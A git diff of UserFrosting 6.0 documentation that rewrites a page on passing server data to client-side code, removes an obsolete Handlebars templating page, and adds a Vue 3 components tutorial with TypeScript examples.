-> Remember, any data you place in the `site` variable will be visible to the end-user - all they have to do is "View source"! Don't put any sensitive or private information in this variable.
+> Everything in `site` is visible in the page source! Never put sensitive information (API keys, passwords, private user data) in this object.
 
-## Page-specific variables
+### 2. Page-Specific Data (Best for Page Initialization)
 
-For your convenience, the `core/templates/pages/partials/page.js.twig` template will generate a `page` JSON object. This is similar to `site`, but is populated by passing an array of data to the `page` key when rendering a template:
+For data specific to a single page, use the `page` global object. This is populated by passing data to the `page` key when rendering your Twig template.
 
+**PHP Controller**:
 ```php
-public function __invoke(Request $request, Response $response): Response
+public function displayUsers(Request $request, Response $response): Response
 {
-    // ...
-
-    // Load validation rules
-    $schema = new RequestSchema("schema://requests/register.yaml");
-    $validatorRegister = new JqueryValidationJsonAdapter($this->translator);
-
-    // Pass them to the `page` key of the template placeholders
-    return $this->view->render($response, 'pages/register.html.twig', [
-        "page" => [
-            "validators" => [
-                "register" => $validatorRegister->rules($schema)
-            ]
+    return $this->view->render($response, 'pages/users.html.twig', [
+        'page' => [
+            'api_endpoint' => '/api/users',
+            'per_page' => 25,
+            'initial_data' => $this->userRepository->all()
         ]
     ]);
 }
 ```
 
-You can then include the `page.js.twig` component in your page template's `scripts_page` block, before any page-specific asset bundles:
-
+**Twig Template** (include in your page):
 ```twig
 {% block scripts_page %}
-    <!-- Include page-specific variables -->
     <script>
         {% include "pages/partials/page.js.twig" %}
     </script>
 {% endblock %}
 ```
 
-Twig will automatically convert the array you passed to `render` in your page controller method to a JSON object:
-
-```js
-
-// Appears in the rendered page DOM for /account/register
-
-var page = {
-    "validators": {
-        "register": {
-            "rules": {
-                "user_name": {
-                    "rangelength": [
-                        1,
-                        50
-                    ],
-                    "noLeadingWhitespace": true,
-                    "noTrailingWhitespace": true,
-                    "required": true,
-                    "username": true
-                },
-                ...
-            },
-            "messages": {
-                "user_name": {
-                    "rangelength": "Username must be between 1 and 50 characters in length.",
-                    "noLeadingWhitespace": "The value for 'Username' cannot begin with spaces, tabs, or other whitespace.",
-                    "noTrailingWhitespace": "The value for 'Username' cannot end with spaces, tabs, or other whitespace.",
-                    "required": "Please specify a value for 'Username'.",
-                    "username": "Username may consist only of lowercase letters, numbers, '.', '-', and '_'."
-                },
-                ...
-            }
-        }
-    }
-};
+**JavaScript/TypeScript Access**:
+```typescript
+// The page object is now available globally
+console.log(page.api_endpoint) // "/api/users"
+console.log(page.per_page) // 25
+
+// Use it in your Vue components or vanilla JS
+const users = page.initial_data
 ```
 
-## Dynamically extending JSON objects
+This approach works well for validation rules, API endpoints, initial data loads, and feature flags specific to a page.
+
+### 3. Vue Component Props (Best for Component Data)
+
+When using Vue 3 components, pass data directly as props through the component's mounting HTML.
 
-Occasionally, you will want to dynamically modify the contents of `site`, `page`, or some other JSON variable. For example, you might want to override a variable on a specific page. To do this, you can use jQuery's `extend` method:
+**Twig Template**:
+```twig
+<div id="user-profile"
+     data-user-id="{{ user.id }}"
+     data-username="{{ user.username }}"
+     data-email="{{ user.email }}">
+</div>
+```
+
+**Vue Component** (`UserProfile.vue`):
+```vue
+<template>
+  <div>
+    <h2>{{ username }}</h2>
+    <p>Email: {{ email }}</p>
+  </div>
+</template>
+
+<script setup lang="ts">
+import { ref, onMounted } from 'vue'
+
+const userId = ref<number>(0)
+const username = ref<string>('')
+const email = ref<string>('')
+
+onMounted(() => {
+  const el = document.getElementById('user-profile')
+  if (el) {
+    userId.value = parseInt(el.dataset.userId || '0')
+    username.value = el.dataset.username || ''
+    email.value = el.dataset.email || ''
+  }
+})
+</script>
+```
+
+Or, better yet, pass props when creating the Vue app:
+
+**Twig Template**:
+```twig
+<div id="user-profile"></div>
 
-```js
 <script>
-    site = $.extend(
-        true, // deep extend
-        {
-            "debug" : {
-                "ajax" : false // Disable AJAX debugging on this page only
-            }
-        },
-        site
-    );
+    window.userProfileData = {
+        userId: {{ user.id }},
+        username: "{{ user.username }}",
+        email: "{{ user.email }}"
+    };
 </script>
 ```
 
-You should do this in your page template's `scripts_page` block, after loading the original versions of the variables but before loading any page asset bundles.
+**TypeScript**:
+```typescript
+import { createApp } from 'vue'
+import UserProfile from './components/UserProfile.vue'
+
+createApp(UserProfile, {
+  userId: window.userProfileData.userId,
+  username: window.userProfileData.username,
+  email: window.userProfileData.email
+}).mount('#user-profile')
+```
+
+### 4. Data Attributes (Best for Small Amounts of Data)
+
+For simple, element-specific data, use HTML5 `data-*` attributes. This is ideal when your JavaScript needs to know about specific elements on the page.
+
+**Twig Template**:
+```twig
+<button
+    class="delete-user"
+    data-user-id="{{ user.id }}"
+    data-user-name="{{ user.username }}">
+    Delete User
+</button>
+```
+
+**TypeScript**:
+```typescript
+document.querySelectorAll('.delete-user').forEach(button => {
+  button.addEventListener('click', async (e) => {
+    const target = e.currentTarget as HTMLButtonElement
+    const userId = target.dataset.userId
+    const userName = target.dataset.userName
+
+    if (confirm(`Delete user ${userName}?`)) {
+      await deleteUser(userId)
+    }
+  })
+})
+```
+
+**Vue 3 Alternative** (using template refs):
+```vue
+<template>
+  <button @click="handleDelete" :data-user-id="userId">
+    Delete User
+  </button>
+</template>
+
+<script setup lang="ts">
+import { ref } from 'vue'
+
+const props = defineProps<{
+  userId: number
+  userName: string
+}>()
+
+const handleDelete = async () => {
+  if (confirm(`Delete user ${props.userName}?`)) {
+    await deleteUser(props.userId)
+  }
+}
+</script>
+```
+
+### 5. API Requests (Best for Dynamic Data)
+
+For data that changes frequently or is too large to embed, fetch it via API calls after the page loads.
+
+**TypeScript**:
+```typescript
+import axios from 'axios'
+
+interface User {
+  id: number
+  username: string
+  email: string
+}
+
+// Fetch data after page load
+async function loadUsers(): Promise<User[]> {
+  const response = await axios.get<User[]>(`${site.uri.public}/api/users`)
+  return response.data
+}
+
+// Use in your code
+const users = await loadUsers()
+```
+
+**Vue 3 Composable** (reusable logic):
+```typescript
+// composables/useUsers.ts
+import { ref, Ref } from 'vue'
+import axios from 'axios'
+
+export function useUsers() {
+  const users: Ref<User[]> = ref([])
+  const loading = ref(false)
+  const error = ref<Error | null>(null)
+
+  async function fetchUsers() {
+    loading.value = true
+    error.value = null
+
+    try {
+      const response = await axios.get(`${site.uri.public}/api/users`)
+      users.value = response.data
+    } catch (e) {
+      error.value = e as Error
+    } finally {
+      loading.value = false
+    }
+  }
+
+  return { users, loading, error, fetchUsers }
+}
+```
+
+## Choosing the Right Approach
+
+Use this decision tree:
+
+| Data Type | Best Approach | Why |
+|-----------|---------------|-----|
+| Site-wide config (URLs, CSRF) | Global `site` object | Available everywhere, cached |
+| Page-specific settings | Global `page` object | Page scope, easy access |
+| Component initialization | Vue props | Type-safe, reactive |
+| Element metadata | Data attributes | Semantic, standard HTML |
+| Large/dynamic data | API requests | Reduces initial page size |
+| Real-time data | API + polling/WebSockets | Always current |
+
+## Modern ES Modules and TypeScript
+
+With Vite and modern JavaScript, avoid global variables when possible. Instead, export and import values:
+
+**config.ts**:
+```typescript
+// Re-export site config with types
+export interface SiteConfig {
+  uri: {
+    public: string
+  }
+  csrf: {
+    name: string
+    value: string
+    keys: {
+      name: string
+      value: string
+    }
+  }
+}
+
+// Access global site object with type safety
+export const siteConfig: SiteConfig = (window as any).site
+```
+
+**Usage**:
+```typescript
+import { siteConfig } from './config'
+
+// Now fully typed!
+const url = `${siteConfig.uri.public}/api/users`
+```
+
+## Security Considerations
+
+> [!WARNING]
+> **Never expose sensitive data to the client:**
+> - Database credentials
+> - API keys or secrets
+> - Other users' private information
+> - Internal system paths
+> - Unfiltered user input (XSS risk)
+
+**Safe to expose:**
+- Public URLs and endpoints
+- CSRF tokens (designed for client use)
+- Current user's own data
+- Public configuration settings
+
+**Remember**: Anything in the HTML can be viewed by the user. Treat all client-side data as potentially compromised.
+
+## Debugging Data Transfer
+
+### View Available Data
+
+Open your browser's console and type:
+```javascript
+console.log('Site config:', site)
+console.log('Page data:', page)
+```
+
+### Validate JSON Structure
+
+If data isn't working as expected, check that your PHP array converts correctly to JSON:
+
+```php
+// Good - simple types convert cleanly
+'count' => 42,
+'name' => 'John',
+'active' => true
+
+// Problematic - resource types don't serialize
+'database' => $pdo, // ❌ Won't work
+
+// Solution - extract only the data you need
+'user' => [
+    'id' => $user->id,
+    'name' => $user->username
+]
+```
+
+## What's Next?
+
+Now that you know how to pass data from server to client, learn how to use it in:
+
+- **[Vue Components](client-side-code/vue-components)**: Build reactive UIs with the data
+- **[Forms](client-side-code/components/forms)**: Submit data back to the server
+- **[Tables](client-side-code/components/tables)**: Display collections of data
+
+> [!TIP]
+> Start simple with global objects (`site`, `page`), then graduate to Vue props and API calls as your application grows in complexity.
diff --git a/app/pages/6.0/15.client-side-code/03.client-side-templating/docs.md b/app/pages/6.0/15.client-side-code/03.client-side-templating/docs.md
deleted file mode 100644
index 1848be09..00000000
--- a/app/pages/6.0/15.client-side-code/03.client-side-templating/docs.md
+++ /dev/null
@@ -1,186 +0,0 @@
----
-title: Client-side Templating
-description: An overview of how UserFrosting uses Handlebars.js for client-side templating.
-obsolete: true
----
-<!-- [plugin:content-inject](modular/_update5.0) -->
-
-In [Templating with Twig](templating-with-twig), we learned how Twig helps you separate the logic of your server-side application from the layout of the pages it generates. Handlebars.js plays a similar role on the client side of your application, in Javascript. The main difference is that with Twig we are often generating complete pages, whereas with Handlebars we typical only generate smaller snippets of HTML to be inserted into the DOM.
-
-## Handlebars.js basic usage
-
-Handlebars is fairly straightforward to use. A Handlebars template is created by calling `Handlebars.compile` on a string:
-
-```js
-var counterTemplate = Handlebars.compile("Owls in my care: <span class=\"pull-right badge bg-blue\">{{owls.count}}</span>");
-```
-
-We can then render this template, calling the template on a JSON object and appending the rendered template to an element in our page's DOM:
-
-```js
-var counterRendered = counterTemplate({
-    owls: {
-        count: 5
-    }
-});
-var counterDOM = $(counterRendered).appendTo($("#parentDiv"));
-```
-
-Of course, the JSON object is optional and can be omitted if your template does not contain any dynamically generated content.
-
-### Template blocks
-
-Since writing long HTML snippets as strings can become unwieldy and difficult to read, we can place our templates in `script` tags with the `text/x-handlebars-template` type attribute. The entire `script` block can then be rendered in our page's Twig template:
-
-```html
-
-{# This contains a series of <script> blocks, each of which is a client-side Handlebars template.
- # Note that these are NOT Twig templates, although the syntax is similar.
- #
- # These templates require handlebars-helpers.js.
-#}
-
-{% verbatim %}
-<script id="owl-description-item" type="text/x-handlebars-template">
-    <div>
-        <strong>
-            {{species}}
-        </strong>
-        <br>
-        {{description}}
-    </div>
-</script>
-{% endverbatim %}
-```
-
-By placing each Handlebars template in a separate `script` tag, and giving each one a unique `id`, we make it easy to choose a template to compile and render in our Javascript code:
-
-```js
-var owlTemplate = Handlebars.compile($("#owl-description-item").html());
-```
-
-Note that since Handlebars and Twig have similar syntax, we wrap our Handlebars templates in Twig's `verbatim` tag so that Twig won't try to parse the Handlebars template when it renders the page.
-
-## Template syntax
-
-Handlebars.js and Twig use a similar syntax. As with Twig, placeholders are represented using the `{{double-mustache}}` notation. However, compared to Twig, Handlebars.js is fairly sparse in terms of control structures and other features.
-
-### If blocks
-
-In Handlebars, `#if` is a **helper**. Helpers always begin with `#` in their opening tag, and `/` in their closing tag.
-
-```html
-<div class="entry">
-  {{#if author}}
-    <h1>{{firstName}} {{lastName}}</h1>
-  {{else}}
-    <h1>Unknown Author</h1>
-  {{/if}}
-</div>
-```
-
-It's also important to note that the `if` helper in Handlebars doesn't support logical expressions. For example:
-
-```html
-<!-- won't work! -->
-{{#if author == "Attenborough"}}
-  <h1>{{firstName}} {{lastName}}</h1>
-{{/if}}
-```
-
-To compare two values in an if/else block, use our custom Handlebars helper instead:
-
-```html
-{{#ifx author '==' 'David Attenborough' }}
-  <h1>{{firstName}} {{lastName}}</h1>
-{{/ifx}}
-```
-
-> [!IMPORTANT]
-> `#ifx` supports the basic logical operators (`==`, `!=`, `>`, `<`, etc), but does not support compound expressions. You can instead nest your expressions, or create your own custom helper. For more information, see [this Stack Overflow question](http://stackoverflow.com/questions/8853396/logical-operator-in-a-handlebars-js-if-conditional).
-
-### Loops
-
-Handlebars.js provides a limited syntax for loops using the `#each` helper:
-
-If you pass this object:
-
-```js
-var data = {
-  owls: [
-    "Fluffers",
-    "Slasher",
-    "Muhammad Owli"
-  ]
-}
-```
-
-...when rendering this template:
-
-```html
-<ul id="myOwls">
-  {{#each owls}}
-    <li>{{this}}</li>
-  {{/each}}
-</ul>
-```
-
-Handlebars will generate the `li`s with the values from the `owls` list. In an `#each` block, `this` refers to the current value in our iteration over the array.
-
-In the real world, it's actually **fairly rare** that you will end up using the `#each` helper. More likely, you will end up with a template that renders just a **single element** of a list or row in a table. You'll then render each row using a jQuery loop:
-
-**Template:**
-
-```html
-{# "Parent" element that will hold your list of owls #}
-<ul id="myOwls">
-</ul>
-
-{# Handlebars template for generating the list items in myOwls #}
-{% verbatim %}
-<script id="owls-list-item" type="text/x-handlebars-template">
-    <li>{{name}}</li>
-</script>
-{% endverbatim %}
-```
-
-Your page Javascript might have something like:
-
-```js
-// Compile the template
-var owlItemTemplate = Handlebars.compile($("#owls-list-item").html());
-
-// Loop through the owls, rending each item individually and then insert in the parent element
-$.each(data.owls, function (idx, owl) {
-    var owlItemRendered = owlItemTemplate(owl);
-    $(owlItemRendered).appendTo($("#myOwls"));
-});
-```
-
-This approach is very common in client side templating, because users often need to dynamically interact with collections of elements. Having a template for a single row or item allows you to dynamically add and remove individual items in your client-side application.
-
-## Other built-in helpers
-
-Handlebars' full list of built-in helpers can be found [here](http://handlebarsjs.com/guide/builtin-helpers.html#if).
-
-## Extra helpers
-
-UserFrosting provides some additional helpers on top of Handlebars' built-in ones:
-
-### dateFormat
-
-Format an ISO date using [Moment.js](http://momentjs.com).
-
-```
-{{name}} was adopted on {{dateFormat adoption_date format="MMMM YYYY"}}.
-```
-
-`format` should be a valid Moment.js [format string](https://momentjs.com/docs/#/displaying/format/).
-
-### phoneUSFormat
-
-Format a string as a US phone number (`(xxx) xxx-xxxx`)
-
-### currencyUsdFormat
-
-Format a floating-point value as US currency.
diff --git a/app/pages/6.0/15.client-side-code/03.vue-components/docs.md b/app/pages/6.0/15.client-side-code/03.vue-components/docs.md
new file mode 100644
index 00000000..5f009eb6
--- /dev/null
+++ b/app/pages/6.0/15.client-side-code/03.vue-components/docs.md
@@ -0,0 +1,895 @@
+---
+title: Building Vue 3 Components
+description: Learn how to create reactive, reusable UI components with Vue 3 Single File Components
+wip: true
+---
+
+Vue 3 is UserFrosting's recommended approach for building interactive user interfaces. Unlike the imperative jQuery patterns of the past, Vue uses declarative, component-based architecture that makes your code easier to understand, test, and maintain.
+
+This guide introduces Vue 3 components and shows you how to use them in UserFrosting applications.
+
+## What Are Vue Components?
+
+A Vue component is a self-contained piece of UI with its own:
+- **Template** (HTML structure)
+- **Logic** (JavaScript/TypeScript behavior)
+- **Styles** (CSS, scoped to the component)
+
+Think of components as custom HTML elements you can reuse throughout your application.
+
+**Simple example**:
+```vue
+<template>
+  <button @click="count++">
+    Clicked {{ count }} times
+  </button>
+</template>
+
+<script setup lang="ts">
+import { ref } from 'vue'
+
+const count = ref(0)
+</script>
+
+<style scoped>
+button {
+  padding: 0.5rem 1rem;
+  background: #4CAF50;
+  color: white;
+  border: none;
+  border-radius: 4px;
+  cursor: pointer;
+}
+</style>
+```
+
+This single file defines everything the component needs. When used in your application, it creates an interactive button that tracks how many times it's been clicked.
+
+## Single File Components (SFCs)
+
+Vue 3 components in UserFrosting are written as **Single File Components** with a `.vue` extension. Each file contains everything the component needs in one place.
+
+**File structure**:
+```
+app/assets/
+└── components/
+    ├── UserCard.vue
+    ├── UserForm.vue
+    └── shared/
+        ├── Button.vue
+        └── Modal.vue
+```
+
+### Anatomy of an SFC
+
+**UserCard.vue** - A complete component example:
+```vue
+<!-- Template: What the component renders -->
+<template>
+  <div class="user-card">
+    <img :src="avatarUrl" :alt="username" />
+    <h3>{{ username }}</h3>
+    <p>{{ email }}</p>
+    <button @click="sendMessage">Message</button>
+  </div>
+</template>
+
+<!-- Script: Component logic and state -->
+<script setup lang="ts">
+import { ref, computed } from 'vue'
+
+// Props (inputs from parent)
+const props = defineProps<{
+  userId: number
+  username: string
+  email: string
+  avatar?: string
+}>()
+
+// Reactive state
+const messageCount = ref(0)
+
+// Computed values
+const avatarUrl = computed(() =>
+  props.avatar || `/images/default-avatar.png`
+)
+
+// Methods
+function sendMessage() {
+  messageCount.value++
+  // Send message logic...
+}
+</script>
+
+<!-- Styles: Scoped to this component only -->
+<style scoped>
+.user-card {
+  border: 1px solid #ddd;
+  border-radius: 8px;
+  padding: 1rem;
+  text-align: center;
+}
+
+.user-card img {
+  width: 80px;
+  height: 80px;
+  border-radius: 50%;
+}
+</style>
+```
+
+The beauty of SFCs is that everything related to the component lives in one file, making it easy to understand and maintain.
+
+## Composition API with Script Setup
+
+UserFrosting uses Vue 3's `<script setup>` syntax, which is more concise than the Options API. Everything you define in `<script setup>` is automatically available in the template—no need to explicitly return or export.
+
+```vue
+<script setup lang="ts">
+import { ref, computed, onMounted } from 'vue'
+
+// Reactive state - automatically available in template
+const user = ref({ name: 'Alex', age: 25 })
+
+// Computed property - recalculates when dependencies change
+const greeting = computed(() => `Hello, ${user.value.name}!`)
+
+// Lifecycle hook - runs when component mounts
+onMounted(() => {
+  console.log('Component is ready!')
+})
+
+// Method - can be called from template
+function updateAge(newAge: number) {
+  user.value.age = newAge
+}
+</script>
+
+<template>
+  <!-- All script variables are available here -->
+  <div>
+    <p>{{ greeting }}</p>
+    <p>Age: {{ user.age }}</p>
+    <button @click="updateAge(26)">Update Age</button>
+  </div>
+</template>
+```
+
+**Why we prefer `<script setup>`**:
+- Less boilerplate code
+- Better TypeScript inference
+- Easier to organize complex logic
+- Slightly better performance
+
+## Reactivity System
+
+Vue's reactivity is what makes it "magical"—when data changes, the UI updates automatically. No manual DOM manipulation required!
+
+### ref() - For Primitives
+
+Use `ref()` for simple values (numbers, strings, booleans):
+
+```typescript
+import { ref } from 'vue'
+
+const count = ref(0)
+const message = ref('Hello')
+const isActive = ref(true)
+
+// Access/modify with .value in JavaScript
+count.value++
+message.value = 'Goodbye'
+isActive.value = !isActive.value
+```
+
+In templates, Vue automatically unwraps refs (no `.value` needed):
+```vue
+<template>
+  <!-- Vue unwraps automatically -->
+  <p>Count: {{ count }}</p>
+  <p>{{ message }}</p>
+  <p v-if="isActive">Active!</p>
+</template>
+```
+
+### reactive() - For Objects
+
+Use `reactive()` for objects and arrays:
+
+```typescript
+import { reactive } from 'vue'
+
+const user = reactive({
+  name: 'Alex',
+  email: 'alex@example.com',
+  roles: ['user', 'moderator']
+})
+
+// Mutate directly (no .value)
+user.name = 'Jordan'
+user.roles.push('admin')
+```
+
+**When to use which**:
+- `ref()` - Primitives, single values, or when you might reassign the whole value
+- `reactive()` - Objects/arrays you'll mutate properties of
+
+### computed() - Derived Values
+
+Computed properties automatically update when their dependencies change and cache the result:
+
+```vue
+<script setup lang="ts">
+import { ref, computed } from 'vue'
+
+const firstName = ref('John')
+const lastName = ref('Doe')
+
+// Recalculates only when firstName or lastName change
+const fullName = computed(() => `${firstName.value} ${lastName.value}`)
+
+// Can also be writable
+const fullNameWritable = computed({
+  get: () => `${firstName.value} ${lastName.value}`,
+  set: (value) => {
+    [firstName.value, lastName.value] = value.split(' ')
+  }
+})
+</script>
+
+<template>
+  <p>{{ fullName }}</p>
+  <input v-model="fullNameWritable" />
+</template>
+```
+
+## Template Syntax
+
+Vue templates look like HTML but with special directives for dynamic behavior.
+
+### Text Interpolation
+
+Display reactive data with double curly braces:
+
+```vue
+<template>
+  <p>Message: {{ message }}</p>
+  <p>Count + 1: {{ count + 1 }}</p>
+  <p>Uppercase: {{ message.toUpperCase() }}</p>
+  <p>{{ isActive ? 'Active' : 'Inactive' }}</p>
+</template>
+```
+
+### Attribute Binding (v-bind / :)
+
+Bind reactive data to HTML attributes:
+
+```vue
+<template>
+  <!-- Shorthand: : -->
+  <img :src="imageUrl" :alt="imageAlt" />
+  <button :disabled="isLoading" :class="buttonClass">
+    Submit
+  </button>
+
+  <!-- Dynamic classes -->
+  <div :class="{ active: isActive, disabled: isDisabled }">
+    ...
+  </div>
+
+  <!-- Dynamic styles -->
+  <div :style="{ color: textColor, fontSize: fontSize + 'px' }">
+    ...
+  </div>
+</template>
+```
+
+### Event Handling (v-on / @)
+
+Listen to DOM events:
+
+```vue
+<template>
+  <!-- Shorthand: @ -->
+  <button @click="handleClick">Click me</button>
+  <input @input="handleInput" />
+  <form @submit.prevent="onSubmit">
+    ...
+  </form>
+
+  <!-- Event modifiers -->
+  <button @click.stop="handleClick">Stop propagation</button>
+  <button @click.once="initialize">Run once</button>
+
+  <!-- Keyboard modifiers -->
+  <input @keyup.enter="submit" @keyup.esc="cancel" />
+</template>
+
+<script setup lang="ts">
+function handleClick(event: MouseEvent) {
+  console.log('Clicked!', event)
+}
+
+function handleInput(event: Event) {
+  const target = event.target as HTMLInputElement
+  console.log('Input value:', target.value)
+}
+
+function onSubmit() {
+  // Form submission logic
+}
+</script>
+```
+
+### Conditional Rendering
+
+**v-if / v-else-if / v-else** - Elements added/removed from DOM:
+
+```vue
+<template>
+  <div v-if="userRole === 'admin'">
+    Admin Panel
+  </div>
+  <div v-else-if="userRole === 'moderator'">
+    Moderator Tools
+  </div>
+  <div v-else>
+    Regular User View
+  </div>
+</template>
+```
+
+**v-show** - Elements stay in DOM, just toggle `display`:
+
+```vue
+<template>
+  <!-- Better for frequently toggled elements -->
+  <div v-show="isVisible">
+    This toggles display: none
+  </div>
+</template>
+```
+
+### List Rendering (v-for)
+
+Loop through arrays or objects:
+
+```vue
+<template>
+  <!-- Array -->
+  <ul>
+    <li v-for="user in users" :key="user.id">
+      {{ user.name }}
+    </li>
+  </ul>
+
+  <!-- With index -->
+  <ul>
+    <li v-for="(user, index) in users" :key="user.id">
+      {{ index + 1 }}. {{ user.name }}
+    </li>
+  </ul>
+
+  <!-- Object properties -->
+  <ul>
+    <li v-for="(value, key) in userObject" :key="key">
+      {{ key }}: {{ value }}
+    </li>
+  </ul>
+</template>
+```
+
+> [!IMPORTANT]
+> Always provide a unique `:key` when using `v-for`. This helps Vue track elements efficiently.
+
+### Two-Way Binding (v-model)
+
+Synchronize form inputs with state:
+
+```vue
+<script setup lang="ts">
+import { ref } from 'vue'
+
+const message = ref('')
+const checked = ref(false)
+const selected = ref('')
+const multiSelect = ref([])
+</script>
+
+<template>
+  <!-- Text input -->
+  <input v-model="message" />
+  <p>{{ message }}</p>
+
+  <!-- Checkbox -->
+  <input type="checkbox" v-model="checked" />
+
+  <!-- Select -->
+  <select v-model="selected">
+    <option value="a">Option A</option>
+    <option value="b">Option B</option>
+  </select>
+
+  <!-- Multi-select -->
+  <select v-model="multiSelect" multiple>
+    <option value="a">A</option>
+    <option value="b">B</option>
+    <option value="c">C</option>
+  </select>
+
+  <!-- Modifiers -->
+  <input v-model.trim="message" /> <!-- trim whitespace -->
+  <input v-model.number="age" /> <!-- convert to number -->
+  <input v-model.lazy="message" /> <!-- update on change, not input -->
+</template>
+```
+
+## Component Communication
+
+### Props (Parent → Child)
+
+Pass data from parent to child components:
+
+**Parent.vue**:
+```vue
+<template>
+  <UserCard
+    :user-id="123"
+    :username="'alex'"
+    :email="'alex@example.com'"
+    :is-admin="true"
+  />
+</template>
+
+<script setup lang="ts">
+import UserCard from './UserCard.vue'
+</script>
+```
+
+**UserCard.vue**:
+```vue
+<script setup lang="ts">
+// Define props with TypeScript
+const props = defineProps<{
+  userId: number
+  username: string
+  email: string
+  isAdmin?: boolean // Optional prop
+}>()
+
+// Or with defaults
+const props = withDefaults(
+  defineProps<{
+    userId: number
+    username: string
+    isAdmin?: boolean
+  }>(),
+  {
+    isAdmin: false
+  }
+)
+</script>
+
+<template>
+  <div>
+    <h3>{{ username }}</h3>
+    <p>{{ email }}</p>
+    <span v-if="isAdmin">👑 Admin</span>
+  </div>
+</template>
+```
+
+### Emits (Child → Parent)
+
+Send events from child to parent:
+
+**Child.vue**:
+```vue
+<script setup lang="ts">
+// Define events with TypeScript
+const emit = defineEmits<{
+  userDeleted: [userId: number]
+  statusChanged: [status: string, timestamp: Date]
+}>()
+
+function deleteUser(userId: number) {
+  // Perform deletion...
+  emit('userDeleted', userId)
+}
+
+function changeStatus(status: string) {
+  emit('statusChanged', status, new Date())
+}
+</script>
+
+<template>
+  <button @click="deleteUser(props.userId)">Delete</button>
+</template>
+```
+
+**Parent.vue**:
+```vue
+<template>
+  <UserCard
+    @user-deleted="handleUserDeleted"
+    @status-changed="handleStatusChange"
+  />
+</template>
+
+<script setup lang="ts">
+function handleUserDeleted(userId: number) {
+  console.log('User deleted:', userId)
+  // Refresh list, show notification, etc.
+}
+
+function handleStatusChange(status: string, timestamp: Date) {
+  console.log(`Status changed to ${status} at ${timestamp}`)
+}
+</script>
+```
+
+## Lifecycle Hooks
+
+Run code at specific points in a component's life:
+
+```vue
+<script setup lang="ts">
+import {
+  onBeforeMount,
+  onMounted,
+  onBeforeUpdate,
+  onUpdated,
+  onBeforeUnmount,
+  onUnmounted
+} from 'vue'
+
+onBeforeMount(() => {
+  console.log('About to mount')
+})
+
+onMounted(() => {
+  console.log('Component mounted to DOM')
+  // Fetch data, set up event listeners, etc.
+})
+
+onBeforeUpdate(() => {
+  console.log('About to re-render')
+})
+
+onUpdated(() => {
+  console.log('Re-rendered')
+})
+
+onBeforeUnmount(() => {
+  console.log('About to unmount')
+})
+
+onUnmounted(() => {
+  console.log('Component removed')
+  // Cleanup: remove listeners, cancel timers, etc.
+})
+</script>
+```
+
+**Most commonly used**:
+- `onMounted` - Fetch data, initialize libraries
+- `onUnmounted` - Cleanup (timers, listeners, subscriptions)
+
+## Using Components in UserFrosting
+
+### Step 1: Create the Component
+
+**app/assets/components/UserGreeting.vue**:
+```vue
+<template>
+  <div class="uk-card uk-card-default uk-card-body">
+    <h3>Hello, {{ username }}!</h3>
+    <p>You have {{ messageCount }} new messages</p>
+    <button class="uk-button uk-button-primary" @click="viewMessages">
+      View Messages
+    </button>
+  </div>
+</template>
+
+<script setup lang="ts">
+const props = defineProps<{
+  username: string
+  messageCount: number
+}>()
+
+const emit = defineEmits<{
+  viewMessages: []
+}>()
+
+function viewMessages() {
+  emit('viewMessages')
+}
+</script>
+
+<style scoped>
+.uk-card {
+  margin: 1rem 0;
+}
+</style>
+```
+
+### Step 2: Register in Entry Point
+
+**app/assets/main.ts**:
+```typescript
+import { createApp } from 'vue'
+import UserGreeting from './components/UserGreeting.vue'
+
+const app = createApp({})
+
+// Register component globally
+app.component('UserGreeting', UserGreeting)
+
+// Mount to DOM
+app.mount('#app')
+```
+
+### Step 3: Use in Twig Template
+
+```twig
+{# Make sure you have a mount point #}
+<div id="app">
+    <user-greeting
+        username="{{ current_user.username }}"
+        :message-count="{{ messageCount }}"
+        @view-messages="handleViewMessages"
+    />
+</div>
+
+{# Load your compiled assets #}
+{% block scripts_page %}
+    {{ vite_js('main.ts') }}
+{% endblock %}
+```
+
+## Composables (Reusable Logic)
+
+Extract and reuse logic across components with composables:
+
+**composables/useAuth.ts**:
+```typescript
+import { ref, computed } from 'vue'
+import axios from 'axios'
+
+export function useAuth() {
+  const user = ref(null)
+  const loading = ref(false)
+  const error = ref<Error | null>(null)
+
+  const isLoggedIn = computed(() => user.value !== null)
+
+  async function login(username: string, password: string) {
+    loading.value = true
+    error.value = null
+
+    try {
+      const response = await axios.post('/api/login', {
+        username,
+        password
+      })
+      user.value = response.data.user
+    } catch (e) {
+      error.value = e as Error
+    } finally {
+      loading.value = false
+    }
+  }
+
+  function logout() {
+    user.value = null
+  }
+
+  return {
+    user,
+    loading,
+    error,
+    isLoggedIn,
+    login,
+    logout
+  }
+}
+```
+
+**Usage in component**:
+```vue
+<script setup lang="ts">
+import { useAuth } from '@/composables/useAuth'
+
+const { user, isLoggedIn, login, logout } = useAuth()
+
+async function handleLogin() {
+  await login('alex', 'password123')
+}
+</script>
+
+<template>
+  <div v-if="isLoggedIn">
+    <p>Welcome, {{ user.name }}!</p>
+    <button @click="logout">Logout</button>
+  </div>
+  <div v-else>
+    <button @click="handleLogin">Login</button>
+  </div>
+</template>
+```
+
+## TypeScript Best Practices
+
+UserFrosting components use TypeScript for better developer experience:
+
+```vue
+<script setup lang="ts">
+import { ref, Ref } from 'vue'
+
+// Define interfaces for complex types
+interface User {
+  id: number
+  username: string
+  email: string
+  roles: string[]
+}
+
+// Type your props
+const props = defineProps<{
+  users: User[]
+  onSelect?: (user: User) => void
+}>()
+
+// Type your refs
+const selectedUser: Ref<User | null> = ref(null)
+const users: Ref<User[]> = ref([])
+
+// Type your functions
+function selectUser(user: User): void {
+  selectedUser.value = user
+  props.onSelect?.(user)
+}
+
+async function fetchUsers(): Promise<User[]> {
+  const response = await axios.get<User[]>('/api/users')
+  return response.data
+}
+</script>
+```
+
+## Best Practices
+
+### 1. Keep Components Focused
+
+Each component should have a single, clear purpose:
+
+✅ **Good**:
+- `UserCard.vue` - Display user info
+- `UserForm.vue` - Edit user
+- `UserList.vue` - List users
+
+❌ **Bad**:
+- `UserEverything.vue` - Does all user-related things
+
+### 2. Use Scoped Styles
+
+Always scope styles to avoid global conflicts:
+
+```vue
+<style scoped>
+/* Only applies to this component */
+.card {
+  border: 1px solid #ddd;
+}
+</style>
+```
+
+### 3. Props Down, Events Up
+
+Follow unidirectional data flow:
+- Parent passes data to child via props
+- Child notifies parent via events
+- Never mutate props directly
+
+```vue
+<!-- ✅ Good: Emit event -->
+<script setup>
+const emit = defineEmits(['update'])
+function change() {
+  emit('update', newValue)
+}
+</script>
+
+<!-- ❌ Bad: Mutate prop -->
+<script setup>
+const props = defineProps(['value'])
+function change() {
+  props.value = newValue // DON'T DO THIS
+}
+</script>
